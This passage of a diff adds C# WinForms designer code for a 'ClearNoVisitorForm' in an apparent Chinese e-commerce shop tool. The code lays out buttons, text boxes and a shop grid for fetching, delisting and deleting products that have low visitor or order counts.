this.txtPriceMin.Text = "0"; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(8, 55); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(32, 17); + this.label12.TabIndex = 473; + this.label12.Text = "价格"; + // + // rbOffSale + // + this.rbOffSale.AutoSize = true; + this.rbOffSale.Location = new System.Drawing.Point(74, 23); + this.rbOffSale.Name = "rbOffSale"; + this.rbOffSale.Size = new System.Drawing.Size(62, 21); + this.rbOffSale.TabIndex = 465; + this.rbOffSale.Text = "仓库中"; + this.rbOffSale.UseVisualStyleBackColor = true; + // + // rbOnSale + // + this.rbOnSale.AutoSize = true; + this.rbOnSale.Checked = true; + this.rbOnSale.Location = new System.Drawing.Point(11, 23); + this.rbOnSale.Name = "rbOnSale"; + this.rbOnSale.Size = new System.Drawing.Size(62, 21); + this.rbOnSale.TabIndex = 464; + this.rbOnSale.TabStop = true; + this.rbOnSale.Text = "出售中"; + this.rbOnSale.UseVisualStyleBackColor = true; + this.rbOnSale.CheckedChanged += new System.EventHandler(this.rbOnSale_CheckedChanged); + // + // btnStopGetProduct + // + this.btnStopGetProduct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStopGetProduct.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStopGetProduct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStopGetProduct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStopGetProduct.Location = new System.Drawing.Point(417, 52); + this.btnStopGetProduct.Name = "btnStopGetProduct"; + this.btnStopGetProduct.Size = new System.Drawing.Size(80, 23); + this.btnStopGetProduct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStopGetProduct.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStopGetProduct.Style.GradientAngle = 90; + this.btnStopGetProduct.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopGetProduct.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopGetProduct.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStopGetProduct.TabIndex = 463; + this.btnStopGetProduct.Text = "停止获取"; + this.btnStopGetProduct.Click += new System.EventHandler(this.btnStopGetProduct_Click); + // + // btnGetProduct + // + this.btnGetProduct.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnGetProduct.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnGetProduct.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnGetProduct.DisabledBackColor = System.Drawing.Color.Empty; + this.btnGetProduct.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnGetProduct.Location = new System.Drawing.Point(417, 22); + this.btnGetProduct.Name = "btnGetProduct"; + this.btnGetProduct.Size = new System.Drawing.Size(80, 23); + this.btnGetProduct.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnGetProduct.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetProduct.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetProduct.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnGetProduct.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnGetProduct.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnGetProduct.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnGetProduct.Style.GradientAngle = 90; + this.btnGetProduct.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnGetProduct.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnGetProduct.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnGetProduct.TabIndex = 456; + this.btnGetProduct.Text = "获取商品"; + this.btnGetProduct.Click += new System.EventHandler(this.btnGetProduct_Click); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(68, 55); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(13, 17); + this.label1.TabIndex = 475; + this.label1.Text = "-"; + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.txtOperateCount); + this.ucGroupBoxEx2.Controls.Add(this.label4); + this.ucGroupBoxEx2.Controls.Add(this.txtUploadDays); + this.ucGroupBoxEx2.Controls.Add(this.txtClickPeople); + this.ucGroupBoxEx2.Controls.Add(this.lblClickPeople); + this.ucGroupBoxEx2.Controls.Add(this.txtClickTime); + this.ucGroupBoxEx2.Controls.Add(this.label10); + this.ucGroupBoxEx2.Controls.Add(this.txtOrderCount); + this.ucGroupBoxEx2.Controls.Add(this.label7); + this.ucGroupBoxEx2.Controls.Add(this.txtShowPeopleCount); + this.ucGroupBoxEx2.Controls.Add(this.label6); + this.ucGroupBoxEx2.Controls.Add(this.txtShowCount); + this.ucGroupBoxEx2.Controls.Add(this.label5); + this.ucGroupBoxEx2.Controls.Add(this.btnOffLine); + this.ucGroupBoxEx2.Controls.Add(this.btnStopOperate); + this.ucGroupBoxEx2.Controls.Add(this.chkSkipHasSale); + this.ucGroupBoxEx2.Controls.Add(this.btnDelete); + this.ucGroupBoxEx2.Controls.Add(this.chkUploadDays); + this.ucGroupBoxEx2.Controls.Add(this.label8); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(-2, -1); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(694, 120); + this.ucGroupBoxEx2.TabIndex = 469; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "商品操作"; + // + // txtOperateCount + // + this.txtOperateCount.Location = new System.Drawing.Point(454, 22); + this.txtOperateCount.Name = "txtOperateCount"; + this.txtOperateCount.Size = new System.Drawing.Size(30, 23); + this.txtOperateCount.TabIndex = 494; + this.txtOperateCount.Text = "500"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(400, 25); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(56, 17); + this.label4.TabIndex = 495; + this.label4.Text = "操作数量"; + // + // txtUploadDays + // + this.txtUploadDays.Location = new System.Drawing.Point(227, 22); + this.txtUploadDays.Name = "txtUploadDays"; + this.txtUploadDays.Size = new System.Drawing.Size(30, 23); + this.txtUploadDays.TabIndex = 484; + this.txtUploadDays.Text = "7"; + // + // txtClickPeople + // + this.txtClickPeople.Location = new System.Drawing.Point(288, 82); + this.txtClickPeople.Name = "txtClickPeople"; + this.txtClickPeople.Size = new System.Drawing.Size(30, 23); + this.txtClickPeople.TabIndex = 482; + this.txtClickPeople.Text = "1"; + // + // lblClickPeople + // + this.lblClickPeople.AutoSize = true; + this.lblClickPeople.Location = new System.Drawing.Point(153, 85); + this.lblClickPeople.Name = "lblClickPeople"; + this.lblClickPeople.Size = new System.Drawing.Size(136, 17); + this.lblClickPeople.TabIndex = 483; + this.lblClickPeople.Text = "并且 商品点击人数小于"; + // + // txtClickTime + // + this.txtClickTime.Location = new System.Drawing.Point(115, 82); + this.txtClickTime.Name = "txtClickTime"; + this.txtClickTime.Size = new System.Drawing.Size(30, 23); + this.txtClickTime.TabIndex = 480; + this.txtClickTime.Text = "1"; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(12, 85); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(104, 17); + this.label10.TabIndex = 481; + this.label10.Text = "商品点击次数小于"; + // + // txtOrderCount + // + this.txtOrderCount.Location = new System.Drawing.Point(454, 52); + this.txtOrderCount.Name = "txtOrderCount"; + this.txtOrderCount.Size = new System.Drawing.Size(30, 23); + this.txtOrderCount.TabIndex = 478; + this.txtOrderCount.Text = "1"; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(364, 55); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(92, 17); + this.label7.TabIndex = 479; + this.label7.Text = "成交订单数小于"; + // + // txtShowPeopleCount + // + this.txtShowPeopleCount.Location = new System.Drawing.Point(288, 52); + this.txtShowPeopleCount.Name = "txtShowPeopleCount"; + this.txtShowPeopleCount.Size = new System.Drawing.Size(30, 23); + this.txtShowPeopleCount.TabIndex = 476; + this.txtShowPeopleCount.Text = "1"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(153, 55); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(136, 17); + this.label6.TabIndex = 477; + this.label6.Text = "并且 商品曝光人数小于"; + // + // txtShowCount + // + this.txtShowCount.Location = new System.Drawing.Point(115, 52); + this.txtShowCount.Name = "txtShowCount"; + this.txtShowCount.Size = new System.Drawing.Size(30, 23); + this.txtShowCount.TabIndex = 474; + this.txtShowCount.Text = "1"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(12, 55); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(104, 17); + this.label5.TabIndex = 475; + this.label5.Text = "商品曝光次数小于"; + // + // btnOffLine + // + this.btnOffLine.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnOffLine.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnOffLine.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnOffLine.DisabledBackColor = System.Drawing.Color.Empty; + this.btnOffLine.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnOffLine.Location = new System.Drawing.Point(604, 22); + this.btnOffLine.Name = "btnOffLine"; + this.btnOffLine.Size = new System.Drawing.Size(80, 23); + this.btnOffLine.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnOffLine.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnOffLine.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnOffLine.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnOffLine.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnOffLine.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnOffLine.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnOffLine.Style.GradientAngle = 90; + this.btnOffLine.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnOffLine.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnOffLine.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnOffLine.TabIndex = 427; + this.btnOffLine.Text = "下架商品"; + this.btnOffLine.Click += new System.EventHandler(this.btnOffLine_Click); + // + // btnStopOperate + // + this.btnStopOperate.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStopOperate.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStopOperate.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStopOperate.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStopOperate.Location = new System.Drawing.Point(604, 82); + this.btnStopOperate.Name = "btnStopOperate"; + this.btnStopOperate.Size = new System.Drawing.Size(80, 23); + this.btnStopOperate.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopOperate.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopOperate.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopOperate.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStopOperate.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopOperate.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStopOperate.Style.GradientAngle = 90; + this.btnStopOperate.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopOperate.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopOperate.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopOperate.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopOperate.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStopOperate.TabIndex = 405; + this.btnStopOperate.Text = "停止操作"; + this.btnStopOperate.Click += new System.EventHandler(this.btnStopOperate_Click); + // + // chkSkipHasSale + // + this.chkSkipHasSale.AutoSize = true; + this.chkSkipHasSale.Checked = true; + this.chkSkipHasSale.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkSkipHasSale.Location = new System.Drawing.Point(15, 23); + this.chkSkipHasSale.Name = "chkSkipHasSale"; + this.chkSkipHasSale.Size = new System.Drawing.Size(111, 21); + this.chkSkipHasSale.TabIndex = 434; + this.chkSkipHasSale.Text = "跳过有销量商品"; + this.chkSkipHasSale.UseVisualStyleBackColor = true; + // + // btnDelete + // + this.btnDelete.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnDelete.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnDelete.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnDelete.DisabledBackColor = System.Drawing.Color.Empty; + this.btnDelete.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnDelete.Location = new System.Drawing.Point(604, 52); + this.btnDelete.Name = "btnDelete"; + this.btnDelete.Size = new System.Drawing.Size(80, 23); + this.btnDelete.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnDelete.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnDelete.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnDelete.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnDelete.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnDelete.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnDelete.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnDelete.Style.GradientAngle = 90; + this.btnDelete.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnDelete.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnDelete.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnDelete.TabIndex = 409; + this.btnDelete.Text = "删除商品"; + this.btnDelete.Click += new System.EventHandler(this.btnDelete_Click); + // + // chkUploadDays + // + this.chkUploadDays.AutoSize = true; + this.chkUploadDays.Checked = true; + this.chkUploadDays.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkUploadDays.Location = new System.Drawing.Point(180, 23); + this.chkUploadDays.Name = "chkUploadDays"; + this.chkUploadDays.Size = new System.Drawing.Size(51, 21); + this.chkUploadDays.TabIndex = 485; + this.chkUploadDays.Text = "保留"; + this.chkUploadDays.UseVisualStyleBackColor = true; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(257, 25); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(92, 17); + this.label8.TabIndex = 505; + this.label8.Text = "天内上传的商品"; + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.btnRefreshShop); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(3, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(144, 120); + this.ucGroupBoxEx1.TabIndex = 399; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "基础"; + // + // btnRefreshShop + // + this.btnRefreshShop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefreshShop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefreshShop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRefreshShop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRefreshShop.ForeColor = System.Drawing.Color.White; + this.btnRefreshShop.Location = new System.Drawing.Point(16, 30); + this.btnRefreshShop.Margin = new System.Windows.Forms.Padding(2); + this.btnRefreshShop.Name = "btnRefreshShop"; + this.btnRefreshShop.Size = new System.Drawing.Size(112, 26); + this.btnRefreshShop.TabIndex = 375; + this.btnRefreshShop.Text = "刷新店铺状态"; + this.btnRefreshShop.UseVisualStyleBackColor = false; + this.btnRefreshShop.Click += new System.EventHandler(this.btnRefreshShop_Click); + // + // splitContainer3 + // + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + this.splitContainer3.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.splitContainer2); + // + // splitContainer3.Panel2 + // + this.splitContainer3.Panel2.Controls.Add(this.splitContainer4); + this.splitContainer3.Size = new System.Drawing.Size(1350, 437); + this.splitContainer3.SplitterDistance = 407; + this.splitContainer3.TabIndex = 1; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 0, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.panelEx1); + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(0, 0, 4, 0); + this.splitContainer2.Size = new System.Drawing.Size(1350, 407); + this.splitContainer2.SplitterDistance = 269; + this.splitContainer2.TabIndex = 0; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colAuthStatus, + this.colLoginStatus, + this.colCanUse, + this.colMessage}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + this.dgvShop.RowHeadersWidth = 30; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(265, 407); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.HeaderText = "全选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 28; + // + // colShopId + // + this.colShopId.HeaderText = "店铺"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Visible = false; + this.colShopId.Width = 55; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 75; + // + // colAuthStatus + // + this.colAuthStatus.HeaderText = "授权状态"; + this.colAuthStatus.Name = "colAuthStatus"; + this.colAuthStatus.ReadOnly = true; + this.colAuthStatus.Width = 65; + // + // colLoginStatus + // + this.colLoginStatus.HeaderText = "登录状态"; + this.colLoginStatus.Name = "colLoginStatus"; + this.colLoginStatus.ReadOnly = true; + this.colLoginStatus.Width = 65; + // + // colCanUse + // + this.colCanUse.HeaderText = "可用"; + this.colCanUse.Name = "colCanUse"; + this.colCanUse.ReadOnly = true; + this.colCanUse.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colCanUse.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colCanUse.Visible = false; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Visible = false; + this.colMessage.Width = 120; + // + // panelEx1 + // + this.panelEx1.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.Controls.Add(this.ucTabControl1); + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panelEx1.Location = new System.Drawing.Point(0, 0); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Padding = new System.Windows.Forms.Padding(1); + this.panelEx1.Size = new System.Drawing.Size(1073, 407); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.Color = System.Drawing.Color.White; + this.panelEx1.Style.BackColor2.Color = System.Drawing.Color.White; + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx1.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.TabIndex = 183; + // + // ucTabControl1 + // + this.ucTabControl1.BackgroundColor = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.ucTabControl1.Controls.Add(this.tabPageCheckResult); + this.ucTabControl1.Controls.Add(this.tabPageViolateFileList); + this.ucTabControl1.Dock = System.Windows.Forms.DockStyle.Fill; + this.ucTabControl1.Location = new System.Drawing.Point(1, 1); + this.ucTabControl1.Name = "ucTabControl1"; + this.ucTabControl1.Padding = new System.Drawing.Point(10, 3); + this.ucTabControl1.SelectedIndex = 0; + this.ucTabControl1.ShowCloseButton = true; + this.ucTabControl1.Size = new System.Drawing.Size(1071, 405); + this.ucTabControl1.TabIndex = 0; + this.ucTabControl1.TabSelectColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucTabControl1.TabTextColor = System.Drawing.Color.Gray; + // + // tabPageCheckResult + // + this.tabPageCheckResult.Location = new System.Drawing.Point(2, 26); + this.tabPageCheckResult.Name = "tabPageCheckResult"; + this.tabPageCheckResult.Padding = new System.Windows.Forms.Padding(3); + this.tabPageCheckResult.Size = new System.Drawing.Size(1065, 375); + this.tabPageCheckResult.TabIndex = 0; + this.tabPageCheckResult.Text = "店铺1"; + this.tabPageCheckResult.UseVisualStyleBackColor = true; + // + // tabPageViolateFileList + // + this.tabPageViolateFileList.Location = new System.Drawing.Point(2, 26); + this.tabPageViolateFileList.Name = "tabPageViolateFileList"; + this.tabPageViolateFileList.Padding = new System.Windows.Forms.Padding(3); + this.tabPageViolateFileList.Size = new System.Drawing.Size(1065, 375); + this.tabPageViolateFileList.TabIndex = 1; + this.tabPageViolateFileList.Text = "店铺2"; + this.tabPageViolateFileList.UseVisualStyleBackColor = true; + // + // ClearNoVisitorForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1350, 561); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "ClearNoVisitorForm"; + this.Text = "ClearNoVisitorForm"; + this.Load += new System.EventHandler(this.ClearNoVisitorForm_Load); + this.VisibleChanged += new System.EventHandler(this.ClearNoVisitorForm_VisibleChanged); + this.splitContainer4.Panel1.ResumeLayout(false); + this.splitContainer4.Panel2.ResumeLayout(false); + 